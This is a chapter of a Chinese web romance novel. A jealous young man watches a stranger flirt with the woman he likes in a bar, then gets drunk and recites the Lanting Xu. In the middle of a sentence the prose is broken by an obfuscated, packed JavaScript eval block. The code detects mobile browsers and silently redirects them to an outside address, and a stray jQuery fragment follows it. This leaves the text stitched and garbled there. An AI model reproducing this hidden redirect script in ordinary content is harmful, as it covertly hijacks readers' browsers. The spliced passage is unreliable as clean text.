22.第 22 章

作品:《爱情骗子我问你

    屈朗拾起难喝得要命的马天尼和两碟被管悠抛下的小零食,准备搬迁去琼云挑中的新地块。


    可还没等他走到琼云跟前,一名不速之客就侵占了本该属于他的座位。


    这位不速之客是个发型明显拿发胶抓过的时尚男人,身上有股狂野的香水味,他坐下时掀起一阵微风,将这股味道强势地灌进琼云的鼻腔,琼云觉得那是一种在烟草里夹杂胡椒粉,然后用清凉油打湿的味道。


    “以前从没见过你,是第一次来吗?看你的气质和打扮不像经常来酒吧的样子……”男人说到这里突然微眯起眼睛,带着笑意凑近琼云,看着琼云的眼睛,一边摇头一边用低沉性感的气泡音说道:“很不一样。”


    琼云虽然被油得有点起鸡皮疙瘩,但还是如实回答他:“我是第一次来,驻唱是我朋友。”她偏脸指舞台上的阿桐。


    “原来如此。”男人抬起下巴,同时眉毛上扬。


    岂有此理!这男的怎么好意思上前搭讪呢?!没看到——屈朗愤怒地看向琼云的右腕,却立即熄了火,琼云穿的是长袖,袖口把两人的情侣款五色绳遮住了。


    于是屈朗像酒保一样理直气壮地冲过去,把难喝得要命的马天尼和两碟小零食放到两人中间的小圆桌上,然后伸出双手将琼云的右袖口往里折了两折,使五色绳漏出来。


    琼云的双眼写满“莫名其妙”四个大字。


    “这是你弟弟吗?”男人和蔼可亲地朝屈朗看了一眼。


    可——恶——


    竟然完全不正视他,不把他当做竞争对手看待吗?


    屈朗气得拿起马天尼往嘴里猛灌一大口,又苦又辣的味道深深伤害了他的味蕾和口腔黏膜,使他的面容扭曲起来。


    但事已至此,总不好吐出来。


    “对啊。”


    琼云轻描淡写的两个字让屈朗在“咽下去”or“喷出来”的两难之间选择了“喷下去”,这使得他的咽喉和胃壁甚至是气管也遭受了剧烈的伤害,整个人瞬间被酒精和咳嗽声烧得火辣辣红彤彤的,就像植物大战僵尸里的火爆辣椒,还是僵尸近在眼前,即将爆炸的那一种。


    “谁是你弟啊?你怎么胡说八道?”屈朗清理出气管中的异物,把剩下半杯马天尼往桌上一搁。


    琼云像宫斗剧里的恶毒女配一样慵懒地抬起眼帘,乜斜着眼看人:“你年纪比我小,难道不是吗?”


    “年纪比你小,我也不是你弟啊,咱俩没有血缘关系。”


    “那你一开始为什么要叫我姐姐呢?”


    “那只是个称呼。”


    “弟弟也可以只是个称呼啊。”


    “那你这样说不让人误会吗?”


    “我是他房东。”琼云上身前倾,视线落回对面气味狂野之男子的脸上,结束战斗,针对上述事实,原告方屈朗无可辩驳。


    气味狂野之男子用性感的气泡音笑了两声,道:“我一开始以为你们是情侣,心里还有些失落,后来看到有女生去搭讪,你这位弟弟欣然接受,才知道原来不是。”他绿茶地耸了耸肩。


    屈朗目瞪口呆,一句话就表达出“我卑微地关注你很久”和“旁边这位无论是不是竞争对手的雄性生物,在接受别的女生搭讪以后就不值得你再多给眼色”两层重量级含义。


    好高的段位,直接一脚把他踢出局。


    但这也让屈朗顿时明白了自己为什么被冷落,他扯了扯琼云的袖管,念经似的唤琼云的名字,和她道歉,向她解释:


    “我只是想问那个粉头发的女生要不要拍照,但是我好像表现得太急功近利了,她连个借口都不找就直接走了。”


    琼云完全视屈朗为空气。


    气味狂野之男子也完全视屈朗为空气,他瞥了眼琼云手边的酒,洛克杯、红琥珀色酒体、螺旋状橙皮点缀,以老到的经验迅速做出判断:“是Negroni吧?这酒挺烈的,这里的调酒师都默认Gin-Forward,也就是two parts Gin,剩下的Campari and Vermouth Rosso都是one part,相比equal parts更苦,也更烈,你第一次来酒吧就点Negroni,很出人意料,普通女生都喜欢喝甜一点的。”语罢,他潇洒地提起正在缓慢溶解冰球的威士忌浅酌一口,扬起下巴,使滚动吞落酒水的性感喉结更明显地展露在琼云面前。


    好松弛,好志在必得,此人的装逼水平远在他之上——屈朗溜了。


    琼云望着屈朗离去的背影,表面不动声色,内心鬼火直冒——这怂包竟然就这么走了!?这是当喜欢的女生被其他异性搭讪时应该表现出的态度吗?!什么东西!?


    屈朗径直去找管悠,琼云看到他俩交头接耳地谈论了一番,片刻之后,屈朗似乎向管悠学习到了一些非常宝贵而且有效的经验,从卡座起身,再次向琼云走来,身上毫无刚才离开时的那股狼狈和消沉,取而代之的是小说绝对男主角的自信与坦然。


    琼云内心有点小激动——这笨蛋终于开窍了,偶像剧男主吃醋发疯的名场面也会降临在自己身上吗?但会不会有一点尴尬啊?好紧张。


    屈朗越走越近,琼云的心也跟着越跳越快,他没有丝毫犹豫,再次来到两人跟前,将双手撑在桌子上,整个人的气压非常低,像暴风雨前闷热湿重的空气,抓了一把洋葱圈,走了。


    这洋葱圈有这么好吃吗?


    琼云一整个大无语。


    但屈朗并没有走远,只是坐到距离两人最近的一个空位上,往嘴里叼了片洋葱圈,一边缓慢咀嚼,一边看电影般注视着两人,他咀嚼的动作仿佛一头羊驼。


    管悠是这么安慰他的:“你喜欢的女生被其他人搭讪这说明什么?说明你有眼光啊,你俩现在名不正言不顺的,又不是正式男女朋友,她愿意和别的男生接触,和你又有什么关系呢?何况你刚才被别的女生搭讪也没拒绝,凭什么要求她拒绝别的男生?做人不能太双标,这样很下头,她会讨厌你的。”


    屈朗觉得很有道理,虽然有点不爽,但还是很有道理。


    然后管悠出于对琼云的担忧又提醒道:“那男的一看就是情场老手,琼云年纪小,感情经历也少,你去旁边盯着,别让琼云被海王骗走。”


    于是屈朗就来了,肩负护花使者的崇高使命。


    “你很在意他,但他好像是个笨蛋。”气味狂野之男子心思亦敏锐异常,低声对琼云说道。


    琼云被看穿,登时正襟危坐。


    于是气味狂野之男子起身将凳子搬到了琼云身边坐下,以宽大的背影挡住屈朗的视野,再次使用他那低沉性感的气泡音在琼云耳边轻声说道:“你不想被他听到,就告诉我吧,我只是个与你萍水相逢的陌生人,今晚过后或许就永不再见,你可以把我当做他的替身,什么都可以向我倾诉,我可以拥有这份荣幸吗?”


    假装安慰遭遇情感困境的女生然后趁虚而入吗?


    琼云心中暗暗惊叹,这能驰骋情场的海王果然都有些个手段,可惜她不吃这一套。


    “你俩靠太近了。”屈朗不知何时站到了两人身后,作出重要指示,冷不丁唤起了琼云学生时代对班主任神出鬼没的恐惧,被吓得一激灵。


    “她性格比较内向,不喜欢不熟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314706|196775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的人靠她太近。”屈朗继续作出指示。


    气味狂野之男子邪魅一笑:“你怎么知道她不喜欢,你很了解她吗?”


    “我认识她比你久,当然比你了解。”


    “恐怕不尽然。”


    “你坐回去。”屈朗用一种赶蚊虫的手势驱赶他,“你俩面对面不能聊吗?”


    “你坐回去吧。”琼云给个台阶下。


    气味狂野之男子坐回去了,屈朗看着也顺眼了,薅了把鱿鱼丝,也回到自己的座位上。


    琼云把话题岔开,继续与气味狂野之男子唠嗑,屈朗一会儿来薅把洋葱圈,一会儿来薅把鱿鱼丝,很快,两碟小零食就都被他完成了光盘行动,吃完了,他也就不再时常过来打扰。


    但琼云被薅得产生了戒断反应,许久不见屈朗再过来,就自己扭头去看。


    这一看不得了,屈朗正趴在桌子上睡大觉,喝空的马天尼杯子被他推到桌沿,摇摇欲坠,他的身体仍不安分,好几下都打向杯子所在的方位,琼云立刻跑过去,在千钧一发之际将杯子救回,然后推搡屈朗的胳膊,呼唤他。


    他的身体摸起来滚烫,脸也通红,被搡得哼哼唧唧叫了几声,抬起头来,满脸泪痕,在灯光照耀下闪闪发光,整个人呈现出一种刚睡醒的懵懂状态。


    “要回去了么?”他黏黏糊糊地问。


    “嗯,回去吧,你喝多了。”琼云拍拍他的脸。


    “你怎么跟他聊了那么久,你很喜欢他吗?”


    琼云的良心受到了谴责,明明自己也喜欢他,为什么不告诉他,还要和别的异性合起伙来欺负他呢?可是他又为什么那么倔,告白被拒也不立刻回家去,这让她很难办啊。


    “对不起。”于是她向他道歉。


    “对不起什么?”泪水瞬间充盈屈朗的双眼,大颗大颗溢出眼眶,沿着脸颊滑落下来,他撑着桌子站起身,摇摇晃晃离开座位,立时跌到,双膝砸向地面。


    琼云惊呼了一声,赶紧去扶,气味狂野之男子见状也赶过来帮忙,两人一人扛一边,只听屈朗口中念念有词,由轻到重,从缓至急:“永和九年,岁在癸丑,暮春之初,会于会稽山阴之兰亭,修禊事也……”


    琼云心想,“苦难是文学的温床”这话果真不假,这一失恋一受伤一难过的,个个都变成大诗人大作家,但她仔细听下去,越听越觉得熟悉,从脑海深处搜索关键词,咔的一声清脆地跳出大段与之相关的记忆……


    这不是《兰亭集序》吗?


    屈朗越背越激动,越背越快:“是日也,天朗气清!惠风和畅!仰观宇宙之大!俯察品类之盛!所以游目骋怀,足以极视听之娱,信可乐也!”


    “学校里搞活动,你上去表演过诗朗诵吗?这念得抑↘扬↗顿→挫↘的。”琼云与气味狂野之男子合力将屈朗扛回座位上,使劲时说话发音跟着高低起伏,“你在这里坐着,我去找管悠,然后我们就回去,别乱动,听到了吗?”


    “虽趣舍万殊,静躁不同,当其欣于所遇,暂得于己,快然自足,不知老之将至!”


    “……”看来已经完全沉浸在自己的世界里了。


    琼云和气味狂野之男子道了谢,又告了别,转身去找管悠,可她放心不下屈朗,于是三步一回头。


    屈朗侧对着舞台,身体大部分隐没在背光的阴影里,橘色或蓝色的柔光如同在他身后弥漫着的雾气,浓淡错落地勾勒出他的五官和轮廓,他字正腔圆地将《兰亭集序》继续背诵下去:“向之所欣,俯仰之间,已为陈迹,犹不能不以之兴怀,况修短随化,终期于尽!古人云:‘死生亦大矣。’岂不痛哉!”